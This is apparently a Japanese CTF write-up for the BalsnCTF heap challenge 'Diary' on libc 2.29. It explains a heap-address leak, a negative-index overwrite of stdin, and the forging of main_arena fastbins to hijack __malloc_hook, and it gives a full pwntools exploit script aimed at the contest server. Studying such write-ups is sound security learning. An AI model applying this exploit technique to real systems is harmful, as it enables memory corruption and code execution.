non-NULL terminated leak / unlimited linear overflow / forge main_arena / libc2.29
- 1: イントロ
- 2: 静的解析
- 3: Vulns
- 4: 方針
- 4: forge fastbinsY of main_arena to leak libcbase
- 5: forge linked-list of fastbins and consolidate them into tcache
- 6: exploit
- 7: アウトロ
1: イントロ
生存確認。
ちゃんと時間を取って取り組んだわけではないけれど、いつぞや開催された BalsnCTF の pwn 問題 Diary。
最近heap問題見るとすごく面倒くさい気持ちになってきました。
今回から、目次の前にkeywordsを置いてみました。結局pwn(特にheap)の場合には与えられたvulnsからできることを組み立てていくことが殆どなので、CTF中にvulnから使える解法を逆引きできたほうが自分的に便利ということで置いています。続ける保証はないです。
2: 静的解析
./diary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=53d5963091eba5e6879841c661d474196be39e5c, for GNU/Linux 3.2.0, stripped Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FROM ubuntu:disco-20200114 (libc 2.29)
プログラムは典型的なメモ帳の追加・編集・出力・消去を行う。但し、消去は各メモ帳に付き1回しかできず、編集は実行中に1回しかできない。
追加するメモ帳のサイズは0x80以下であり、書き込み時には read() で読むためNULLを気にせず書き込める。だが、出力は printf("%s") で行うためNULLで出力が切れてしまう。
3: Vulns
脆弱性は3つ。
1つ目。最初に name を入力するのが、そのバッファがNULL終端されず、且つヒープへのポインタが隣接しているため容易に heapbase がリークできる。
2つ目。ただ1回できる edit において、メモ帳のインデックスとして負数を入力できる。ここでメモ帳は .bss section に確保されており、その上部には stdin が入っている。よって、負数の edit を用いることで stdin を書き換えることができる。この際、プログラムの仕様により入力可能バイト数は stdin->flags (0xFBAD208B) であり、実質無制限に書き換えることができる。
3つ目。これは攻撃に使うことはできない(寧ろ邪魔になる)が、確保していないメモ帳に対して消去(free)することができる。
4: 方針
今回で一番強い制限は edit が1回しかできないということ。また、vulnよりできることは stdin/stdout の書き換え。
この2点より、典型的な _IO_FILE_plus forge の方針を考えてしまいそうになる。例えば stdin のバッファアドレスを heap に書き換えることで heap を自在に操作できるようにして unsorted を生成するということが考えられる。だがこの場合、生成した libcbase を出力するための方法がなかなか思いつかない。逆に stdout を書き換えたとすると libcbase のリークは簡単だろうが、任意の値をメモリ中に書き込むのが難しい。
そこで、stdout/stdin が無制限に書き換えられるということに注目する。stdin の広報を見てみると、main_arena 及び malloc_hook が存在している。よって、stdin を書き換えるのではなく、stdinから始めて main_arena/malloc_hook を書き換えることを方針とする。
4: forge fastbinsY of main_arena to leak libcbase
main_arena には mfastbinptr fastbinsY[10] という fastbin のrootを保持する配列が有る。
House of Corrosionとかで global_max_fast を書き換えて攻撃の起点とするアレだ。
今回はこれを直接書き換えて、heap中の任意のアドレスに持っていく。これの一つを、メモリ中の unsorted のすぐ上を指すように書き換える。これによって、生成された libcbase をリークすることができる。
ここで、unsorted は0x90サイズのメモ帳を7個作ってfreeすることで生成できる。尚、使用されているのは calloc() であるため、tcache から取られることはないし、何より確保領域がNULLクリアされるため、細かいところに気配りが必要になる。そこは大和魂でなんとかする。heap問題って、説明のしようがないのも嫌いです。こんなブログ、「heap feng shuiします」の一言で本来終わってしまうもんだからな。
5: forge linked-list of fastbins and consolidate them into tcache
ここまでで heapbase/libcbase がリークできているため、次は malloc_hook を書き換えることを考える。
先程の main_arena の書き換えに於いて適当な位置を 0x70 サイズの fastbin が指すようにしておく。さらにそいつが指す先に有る fake chunk の fd を他のメモ帳を使って書き換えることで、fastbinのfdを自由な値にすることができる。これによって malloc_hook を指させることにする。
最大の障壁は、0x90サイズの fastbin が存在しないということである。最初に unsorted を生成するために tcache[0x90] には現在7つのchunkが繋がっている。fastbinは0x20~0x80であるからこそ、これで unsorted が生成されるわけである。だが、main_arena の forge による fastbin の書き換えでは 0x90 のchunkは作れないため、0x70等のサイズを使用する必要が有る。だが、それらのサイズを使うと今度は fastbin->fd を書き換える際に malloc consolidation が発生し、せっかく書き換えたfastbinが全てtcacheへぶっ飛んでいってしまう。
これを回避するために、予め互いにリンクした fake chunk(0x70) を用意しておく。そして main_arena の書き換えによって、root-> 大量のリンクリスト-> libcbaseをリークした後に生成したfake fastbin-> malloc_hook というリストを作り出す。これによって、consolidation が発生した際に用意した大量のchunksを tcache に持っていき、所望のfdをもつchunkはfastbinに格納させることができる。
この辺をどうやるか、それは勿論決まっている。
HEAP FENG SHUI です!!!!!!!!
6: exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * from smallkirbypwn import * import sys FILENAME = "./diary" LIBCNAME = "./libc-2.29.so" hosts = ("diary.balsnctf.com","localhost","localhost") ports = (10101,12300,23947) rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF(LIBCNAME) if LIBCNAME!="" else None class _IO_FILE(object): def __init__(self, read_ptr=None, read_end=None, read_base=None, write_base=None, write_ptr=None, write_end=None, buf_base=None, buf_end=None, save_base=None, backup_base=None, save_end=None, lock=None, wide_data=None): self.read_ptr = read_ptr if read_ptr!=None else 0 self.read_end = read_end if read_end!=None else 0 self.read_base = read_base if read_base!=None else 0 self.write_base = write_base if write_base!=None else 0 self.write_ptr = write_ptr if write_ptr!=None else 0 self.write_end = write_end if write_end!=None else 0 self.buf_base = buf_base if buf_base!=None else 0 self.buf_end = buf_end if buf_end!=None else 0 self.save_base = save_base if save_base!=None else 0 self.backup_base = self.backup_base if backup_base!=None else 0 self.save_end = save_end if save_end!=None else 0 self.flag = 0xfbad208b self.markers = 0 self.chain = 0 # stdin addr if stdout self.fileno = 0 # 1 if stdout self.fileno2= 0 self.old_offset = 0xffffffffffffffff self.lock = lock if lock!=None else 0 self.offset = 0xffffffffffffffff self.code_cvt = 0 self.wide_data = wide_data if wide_data!=None else 0 self.freeres_list = 0 self.freeres_buf = 0 self.pad5 = 0 self.mode = 0xffffffff return None def gen(self): pay = b"" pay += p64(self.flag) pay += p64(self.read_ptr) + p64(self.read_end) + p64(self.read_base) pay += p64(self.write_base) + p64(self.write_ptr) + p64(self.write_end) pay += p64(self.buf_base) + p64(self.buf_end) pay += p64(self.save_base) + p64(self.backup_base) + p64(self.save_end) pay += p64(self.markers) pay += p64(self.chain) pay += p32(self.fileno) + p32(self.fileno2) pay += p64(self.old_offset) pay += p64(0x000000000a000000) # cur_column + vtable_offset + shortbuf pay += p64(self.lock) pay += p64(self.offset) pay += p64(self.freeres_list) + p64(self.freeres_buf) + p64(self.pad5) pay += p32(self.mode) + p32(0) return pay class _IO_FILE_plus(_IO_FILE): def __init__(self, read_ptr=None, read_end=None, read_base=None, write_base=None, write_ptr=None, write_end=None, buf_base=None, buf_end=None, save_base=None, backup_base=None, save_end=None, lock=None, wide_data=None, vtable=None): super(_IO_FILE_plus, self).__init__( read_ptr, read_end, read_base, write_base, write_ptr, write_end, buf_base, buf_end, save_base, backup_base, save_end, lock, wide_data) self.vtable = vtable if vtable!=None else 0 def gen(self): pay = super(_IO_FILE_plus, self).gen() pay += p64(0) * 4 pay += p64(self.vtable) return pay class main_arena: def __init__(self): self.mutex = 0 self.flags = 0 self.have_fastbinchunks = 0 self.fastbins = {} return None def set(self, size, addr): self.fastbins[hex(size)] = addr return self def gen_fastbinchunks(self): pay = b"" for i in range(8): if hex(i*0x10+0x20) in self.fastbins: pay += p64(self.fastbins[hex(i*0x10+0x20)]) else: pay += p64(0) return pay def gen(self): pay = b"" pay += p32(self.mutex) + p32(self.flags) pay += p32(self.have_fastbinchunks) pay += p32(0) # hole pay += self.gen_fastbinchunks() return pay ## utilities ######################################### def hoge(ix): global c c.recvuntil("choice : ") c.sendline(str(ix)) def _show(): global c hoge(1) def _write(_size, _content, stop=False): global c hoge(2) c.recvuntil("Length : ") c.send(str(_size)) if stop: return c.recvuntil("Content : ") c.send(_content) def _read(page): global c hoge(3) c.recvuntil("Page : ") c.send(str(page)) def _edit(page, content): global c hoge(4) c.recvuntil("Page : ") c.sendline(str(page)) c.recvuntil("Content : ") c.send(str(content)) def _tear(page): global c hoge(5) c.recvuntil("Page : ") c.send(str(page)) ## exploit ########################################### def exploit(): global c ds = 0x80 name = "A"*0x20 # setup name c.recvuntil("name : ") c.send(name) # leak heapbase _write(ds, "B"*ds) # 0 _show() c.recvuntil("A"*0x20) leak = unpack(c.recvline().rstrip().ljust(8,'\x00')) heapbase = leak - 0x260 print("[+] leaked: "+hex(leak)) print("[+] heapbase: "+hex(heapbase)) # generate unsorted sz = 0x31 for i in range(0x8): # 1..0x9 if i==0: # to fulfill fastbin(0x80) _write(ds, p32(0) + p64(0) + (p64(heapbase+0x300)+p64(0x81)) + (p64(heapbase+0x310)+p64(0x81))+(p64(heapbase+0x320)+p64(0x81)) + (p64(heapbase+0x330)+p64(0x81)) + (p64(heapbase+0x340)+p64(0x81)) + (p64(heapbase+0x350)+p64(0x81)) + (p64(heapbase+0x380)+p64(0x81))) elif i==1: _write(ds, p32(0) + p64(0x71) + (p64(heapbase+0x610)+p64(0x81))) else: _write(ds, p32(0) + (p64(0x71)+p64(0))*((ds-4)//0x10 - 2) + (p64(sz)+p64(0))*2) for i in range(0x8): _tear(i) # generate unsorted at heapbase+0x640 # forge main_arena mp = main_arena() mp.set(0x30, heapbase + 0x620).set(0x70, heapbase + 0x600).set(0x80, heapbase+0x300) pay = b"" pay += _IO_FILE_plus(vtable=0).gen()[4:] pay += p8(0x40) * 0x130 # pad wide_data pay += p64(0x81)*2 # fake sz for overwriting malloc_hook pay += p64(0x00)*2 # fake fd for overwriting malloc_hook pay += p64(0) # malloc_hook pay += p64(0) pay += mp.gen() _edit(-6, pay) # leak libcbase _write(0x24, "A"*(0x24)) # 0xa@heapbase+0x660 _read(0x9) c.recvuntil("A"*0x24) leak = unpack(c.recvline().rstrip().ljust(8,'\x00')) libcbase = leak - 0x1e4ca0 print("[+] leak: "+hex(leak)) print("[+] libcbase: "+hex(libcbase)) # overwrite fastbin's fd ogs = [addr + libcbase for addr in [0xe237f, 0xe2383, 0xe2386, 0x106ef8]] _write(0x60, p32(0) + p64(0x81) + p64(libcbase + 0x1e4c10)) # @heapbase+0x610 consolidate into tcache _write(0x70, "A"*0x10) # connect malloc_hook into unsorted(0x80) _write(0x70, "A"*0xc + p64(ogs[3])) # overwrite malloc_hook # boomb _write(0x60, "X", stop=True) ## main ############################################## if __name__ == "__main__": global c if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ c = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": c = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": c = remote(rhp3["host"],rhp3["port"]) else: c = remote(rhp2['host'],rhp2['port']) exploit() c.interactive()
7: アウトロ
まじで、Verilogめっちゃ苦手です
ハードウェアの気持ちを考えて書くことができない
続く...